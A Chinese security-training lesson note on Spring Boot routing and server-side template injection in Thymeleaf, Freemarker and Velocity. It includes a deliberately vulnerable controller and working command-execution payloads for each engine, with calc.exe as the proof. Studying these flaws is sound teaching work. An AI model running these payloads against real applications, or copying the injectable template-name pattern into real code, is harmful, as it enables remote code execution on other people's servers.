第49天:Web开发-JavaEE应用&SpringBoot栈&模版注入&Thymeleaf&Freemarker&Velocity

#知识点
1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参

2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity
一、开发框架-SpringBoot

参考:https://springdoc.cn/spring-boot/

访问SpringBoot创建的网站

1、路由映射

@RequestMapping @GetMapping@PostMapping等

访问路由地址

为get,post请求设置路由

get请求

post请求

2、参数传递

@RequestParam

复制代码
//GET请求并传递参数
复制代码
//Post请求并传递参数

3、数据响应

@RestController @Controller

@RestController注解相当于@ResponseBody+@Controller合作用。

二、模版引擎->Thymeleaf

参考:https://xz.aliyun.com/news/9962

1、新建SpringBoot项目包含Web,Thymeleaf

2、配置application.properties修改缓存为false

3、创建模版目录和文件,文件定义修改变量

创建模板文件文件index.html,并谷歌访问

4、新建Controller目录及文件,指定路由配置

访问

5、更换SpringBoot及Thymeleaf版本测试POC

@Controller

public class IndexController {

@RequestMapping("/index")

public String index(Model model) {

//替换模版html文件中的data变量值

model.addAttribute("data", "你好 小迪");

//使用index模版文件

return "index";

}

@RequestMapping("/indexs")

public String index(Model model,@RequestParam String lang) {

//替换模版html文件中的data变量值

model.addAttribute("data", "Hello xiaodi");

//使用index+变量lang模版文件

return "index-"+lang;

}

}

访问英文

访问中文

利用条件:Thymeleaf漏洞版本,可控模版变量lang->可以控制调用哪个模板

Poc利用命令如下:

$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d::.x->lang参数

三、Freemarker

参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目包含Web,Freemarker

2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

5、更换SpringBoot及Freemarker版本测试POC->特别注意:这个poc要放在渲染文件中才行->通过上面的username变量传参poc(不会引起poc执行)

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

利用条件:可控渲染的模版文件(其实就是该模板的功能上有漏洞,导致上面的poc放到文件里面可以执行RCE),不受该模板版本的影响

四、Velocity

参考:https://blog.csdn.net/2401_83799022/article/details/141600988

<dependency>

<groupId>org.apache.velocity</groupId>

<artifactId>velocity</artifactId>

<version>1.7</version>

</dependency>

1、Velocity.evaluate

2、template.merge(ctx, out)

Poc利用:

%23set(e%3D"e")e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

利用条件:Velocity漏洞版本(出现在特点的版本),可控模版变量或文件,如上面的username参数可控

相关推荐
万少2 小时前
DeepSeek 昨晚刚开源了 Harness:附万少的2 万字保姆级教程
前端·后端·架构
程序员黑豆3 小时前
Java字符串详解
java·前端·ai编程
无我Code4 小时前
开发者-2026年中总结
前端·面试·程序员
浮生望5 小时前
React 受控与非受控组件:从表单状态管理到实时校验的完整实践
前端
糖墨夕6 小时前
第二章:AI Agent 到底是个啥?—— 用生活场景把概念讲明白
前端
Csvn6 小时前
⚡ content-visibility: auto —— 长页面渲染提速的隐藏神器,白捡的性能优化
前端
用户938515635076 小时前
深入理解 Next.js:从 SPA 的 SEO 问题到约定式路由与 SSR 原理
前端·后端·全栈
snow@li7 小时前
web:前端500知识点/速查手册
前端
kyriewen8 小时前
今年裁了16万技术人——但字节前端岗反而涨了23%
前端·javascript·面试
用户059540174468 小时前
把 AI Agent 记忆存储验证从 40 分钟手测压到 3 分钟,pytest + Docker 这套组合太顶了
前端·css